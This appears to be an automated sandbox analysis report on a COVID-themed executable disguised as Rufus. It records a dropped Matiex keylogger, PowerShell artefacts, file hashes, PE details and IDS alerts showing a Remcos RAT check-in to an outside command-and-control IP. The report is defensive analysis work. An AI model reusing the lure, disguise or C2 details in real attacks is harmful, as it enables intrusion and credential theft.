SHA-256:	94BCC274B54ED4FD6F9D0B3B6E07225D63E058F2961FFFC225CC144B68BC0188
SHA-512:	45E5C26F44C7D9A20AB8299A3A1DC03B9C7426F9CB4912A26CE9CDC86E23F272193A96948373F79138F42DEDE0211C678A362ED552C3C6613DA463B6D522B273
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.839308921501875
Encrypted:	false
SSDEEP:	192:yxoe5oVsm5emdVVFn3eGOVpN6K3bkkjo59gkjDt4iWN3yBGHh9smidcU6CXpOTik:DBVoGIpN6KQkj2Wkjh4iUx0mib4J
MD5:	937C6E940577634844311E349BD4614D
SHA1:	379440E933201CD3E6E6BF9B0E61B7663693195F
SHA-256:	30DC628AB2979D2CF0D281E998077E5721C68B9BBA61610039E11FDC438B993C
SHA-512:	6B37FE533991631C8290A0E9CC0B4F11A79828616BEF0233B4C57EC7C9DCBFC274FB7E50FC920C4312C93E74CE621B6779F10E4016E9FD794961696074BDFBFA
Malicious:	false
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19792
Entropy (8bit):	5.604644391650762
Encrypted:	false
SSDEEP:	384:6XtyzXem0lyXqMZZfT012RMSBKnOS+B7V9wiWSJ3OZgVjpQSVpKYb:62ZhTq4KO3Wjc5VjpFxb
MD5:	E6770F87DD1CB08756D4160CECB0C9A3
SHA1:	7DA53348BD2B01C569AC6761BD4E0610F47C6E7F
SHA-256:	A44F5D31496FCA417BAB9948F3D8273B395366D1A89F176DE4F99DB51751262E
SHA-512:	1A3E11CFA939356BD0450F2466C872B8829978CB40B605A24FAACB18103E506F950FBDA7A9A139B989EEE89DDA1449EDB9A5B3F489C5ACA081B0146F5231C39B
Malicious:	false
Preview:	@...e...................h...`.T.G.....y...I..........@..........H...............<@.^.L."My...:8..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP...............-K..s.F..*.]`.,......(.Microsoft.PowerShell.Commands.ManagementD..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe Download File
Process:	C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	611328
Entropy (8bit):	7.6736501160042625
Encrypted:	false
SSDEEP:	12288:KMcb5BsC6IC367QnNp4e46+xd2sFHOAgDP:lQCeQN7Z+f2sFuAg
MD5:	FB465F2B05A6FDC86EB711D7E28E7010
SHA1:	8DD1E185249BE7AE7E6AB546BF4C06B59F030D4C
SHA-256:	85C6F9CC1D92580088AC090C6EEABA9169AA57290EE6568EF5278FC9170D11DC
SHA-512:	E89B6EE00506CC3641F74EB0750BBA4C1A35D57228F7739ECC7F91D943EA6924D767E1D7699D480A2C532EEF4A08F3B5F5D0F1B2716B86CBA5EEB4AF301911B6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.>a................................. ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc...............R..............@..B........................H........<.........P....................................................(......0..............0..........(.... ........8........E........ ...T...d...8....s....(....t.....:O...&8....(.... .....:....& ....8....8$...8....8.... ....8....8....8....8....8......... .....9r...& ....8g..............................................(......0.....................0.................................................(......0.............A...................9........0......

C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a12lhlvx.nw5.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opdsbxsp.osx.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\dwnl.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	454656
Entropy (8bit):	5.415643104091599
Encrypted:	false
SSDEEP:	6144:YLPCLAWMhhQJs7+dWQQsAkAsTJXDxeiWsO7CfO:vLAWIQNdWQQsAkAsTNx9W37C2
MD5:	FBD3D3CDFB3553A05656C973ACCA98FA
SHA1:	EDDC1F2632D19D6BD2AA5EDA72B203925E4F3152
SHA-256:	46991941A111870951021CE269120EA21FE76EF54760DA52721984D29210C333
SHA-512:	C531C3F8573A751450D242AD538B1CA1688D3ADA27E732D7CABB689DADF970424E0E0962D6DC003C95DB1DE927E2DA8F49092AC6609F233B33BAA846B0CAFE8E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Matiex, Description: Yara detected Matiex Keylogger, Source: C:\Users\user\AppData\Local\Temp\dwnl.exe, Author: Joe Security Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: C:\Users\user\AppData\Local\Temp\dwnl.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a.>a................................. ... ....@.. .......................`............@.................................8...S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................p.......H...........0v...........'...h.....................................................................................................................................................................RNK\ZJO@F.EYC.G.IOYKJ._R_CEESEPPlj}ez\|"hzfSn`ssdh~DNwq//M\`tdv`\|..;.....4......Ewqus._/.....V>..%9%(:&##b?`LLJN.56(,*:.}.2=4lwY_.............................................................................................................A.{YOLI..qAL.tTDY^..v^NY

C:\Users\user\Documents\20210913\PowerShell_transcript.562258.s+AUuVS9.20210913063011.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3785
Entropy (8bit):	4.129729299429784
Encrypted:	false
SSDEEP:	96:BZQ/4NwT5XVqDo1ZxT5XZqH2aa8pooccsI5sIWsIWsI5oocosIWsIWsIWsIWccoJ:WXC2aa8g
MD5:	E6B98A8D731E59EA9872A430B40352FA
SHA1:	9F5E78DA69BA3E186DF68B11FE9D20FF05A33631
SHA-256:	742B19612D7A6FCF3066219BE6A6995D27BBC634DB79CE87711ACC9D8614C6EF
SHA-512:	88619AFB254ACE2AB4F4C8FBD04D2ABFB3F406AB7C03FA4C3178E72E3AB10157713FF03D6B237D5499FEC757B51FCAC0AACE2638A68DB58CD1E90CCACB7A67D2
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210913063012..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 562258 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com..Process ID: 6632..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210913063012..********************..PS>Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com....Source Destination IPV4Address IPV6Address

C:\Users\user\Documents\Matiex Keylogger\Screenshot.png Download File
Process:	C:\Users\user\AppData\Local\Temp\dwnl.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1656688
Entropy (8bit):	7.944280846853269
Encrypted:	false
SSDEEP:	24576:w7bABSkuPpabXy/Oe8MYCr8eFv1Cc0cq7bABSkuPpabXy/Oe8MYCr8eFv1Cc0cd:SABSksaeICNoTABSksaeICNo2
MD5:	1CBBB434D9C7D7F006EFEF3110FC1760
SHA1:	C17ADEE3B45332E366E5F4976FE520A826DBBCC9
SHA-256:	68A157EC12EBD2169039884A43A37EEB9C7CBF3AD3095F6902655117B62E5215
SHA-512:	84B191E6920FEF8E8A27C3889C8235A3278B5CCDB6FA004F32FC12D137858B74ED7E6989EF1DAA8B78B8A101BC3F499F5BDF5C5E9373DE01BEE4D318A1B4402B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....dGu...9.s.L0(.LN..+.........\|m.2 09c...P.(g....."......B.!!.4..i.F....{U.Z.V.w..3..<..OWX..V...{.M.i.l.....m.l........Y.l......_.{6l...5.l...Z..R.....C\|:.Ke......K...Y...'le.....c..=...l..Xl.`.G8.6m^.<P..C.(....!@i.......X..f..m.....K.5..."i.(pcUJ..TF.M.....fy3....M..X.......m.F....}SE...........Qy~....X.....B.)A.3..[%j...tV..=w7.....@.....#.....,k..0.).0...pl.D...2~...O6K..a......G1;.U..Y...{.....S.....;<...6..@dS....Y.......&k%..]o9....q_....."..Ep.)......`."..m..=<`..:....\|$......... .s;.6...?@./.k.!.'....j?O....n..2.+......-.......N....u...4.o0';.9.!.p......'..........6?5.}.@).25.S9..P]H.o!..i...l.......?b!..A.M/..1$O.K.o!.fX..3..(..\......}Z..`...........h....EE.=....R...!.S...E.....{x@+l.1.)s..N@}M.......}r...~.....V-.+...z...h...@i.(.t.h.X.X-. _h..7}Ip..6..+)..........B.......'.-[..Vn~.....0.....I........M(...{.^#.j..G.6v . ,G......

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.6736501160042625
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	UK COVID UPDATES AND ENTITLEMENT.exe
File size:	611328
MD5:	fb465f2b05a6fdc86eb711d7e28e7010
SHA1:	8dd1e185249be7ae7e6ab546bf4c06b59f030d4c
SHA256:	85c6f9cc1d92580088ac090c6eeaba9169aa57290ee6568ef5278fc9170d11dc
SHA512:	e89b6ee00506cc3641f74eb0750bba4c1a35d57228f7739ecc7f91d943ea6924d767e1d7699d480a2c532eef4a08f3b5f5d0f1b2716b86cba5eeb4af301911b6
SSDEEP:	12288:KMcb5BsC6IC367QnNp4e46+xd2sFHOAgDP:lQCeQN7Z+f2sFuAg
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.>a................................. ........@.. ....................................@................................

File Icon


Icon Hash:	c8a2f0f074bc5e06

Static PE Info

General
Entrypoint:	0x48dece
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x613E984A [Mon Sep 13 00:16:10 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8de80	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8e000	0x8e18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x98000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8bed4	0x8c000	False	0.911057826451	data	7.82377359476	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x8e000	0x8e18	0x9000	False	0.279134114583	data	3.75959195551	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x98000	0xc	0x200	False	0.044921875	data	0.0980041756627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x8e1f0	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4294967295, next used block 4294961151
RT_ICON	0x92418	0x25a8	data
RT_ICON	0x949c0	0x10a8	data
RT_ICON	0x95a68	0x988	data
RT_ICON	0x963f0	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x96858	0x4c	data
RT_VERSION	0x968a4	0x3c0	data
RT_MANIFEST	0x96c64	0x1b4	XML 1.0 document, UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	2011-2021 Pete Batard (GPL v3)
Assembly Version	3.15.1812.0
InternalName	UK CRYPTED.exe
FileVersion	3.15.1812.0
CompanyName	Akeo Consulting
LegalTrademarks	https://www.gnu.org/licenses/gpl-3.0.html
Comments	Rufus
ProductName	Rufus
ProductVersion	3.15.1812.0
FileDescription	Rufus
OriginalFilename	UK CRYPTED.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/13/21-06:30:13.603845	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:13.603845	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:13.664620	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:15.753202	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:15.753202	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:15.813002	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:17.073384	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:17.073384	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:17.133124	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:19.550143	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:19.550143	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:19.609998	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:20.790548	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:20.790548	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:20.818419	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:22.024158	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:22.024158	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:22.052506	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:23.268701	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:23.268701	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:23.296576	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:24.493135	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:24.493135	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:24.520896	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:25.758125	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:25.758125	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:25.818245	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:27.004892	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:27.004892	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:27.064665	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:28.240942	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:28.240942	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:28.300620	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:29.461446	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:29.461446	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:29.521312	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:30.688557	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:30.688557	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:30.716606	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:31.900903	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:31.900903	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:31.928924	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:33.100431	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:33.100431	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:33.128392	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:34.322715	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:34.322715	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:34.350911	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:35.537144	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:35.537144	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:35.596935	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:36.761154	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:36.761154	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:36.820832	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:37.994376	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:37.994376	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:38.054459	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:39.214583	ICMP	382	ICMP PING Windows			192.168.2.5	142.250.201.196
09/13/21-06:30:39.214583	ICMP	384	ICMP PING			192.168.2.5	142.250.201.196
09/13/21-06:30:39.274371	ICMP	408	ICMP Echo Reply			142.250.201.196	192.168.2.5
09/13/21-06:30:40.432793	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:40.432793	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:40.460637	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:41.633191	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:41.633191	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:41.661063	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:42.831276	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:42.831276	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:42.859457	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:30:44.028675	ICMP	382	ICMP PING Windows			192.168.2.5	172.217.20.14
09/13/21-06:30:44.028675	ICMP	384	ICMP PING			192.168.2.5	172.217.20.14
09/13/21-06:30:44.056569	ICMP	408	ICMP Echo Reply			172.217.20.14	192.168.2.5
09/13/21-06:31:29.275339	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	56831	8.8.8.8	192.168.2.5
09/13/21-06:31:30.031993	TCP	2025637	ET TROJAN Remcos RAT Checkin 23	49777	40401	192.168.2.5	91.193.75.202

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 13, 2021 06:31:29.290487051 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:29.947504997 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:30.029431105 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:30.031992912 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:30.195389986 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:30.201931953 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:30.205264091 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:30.205296993 CEST	40401	49777	91.193.75.202	192.168.2.5
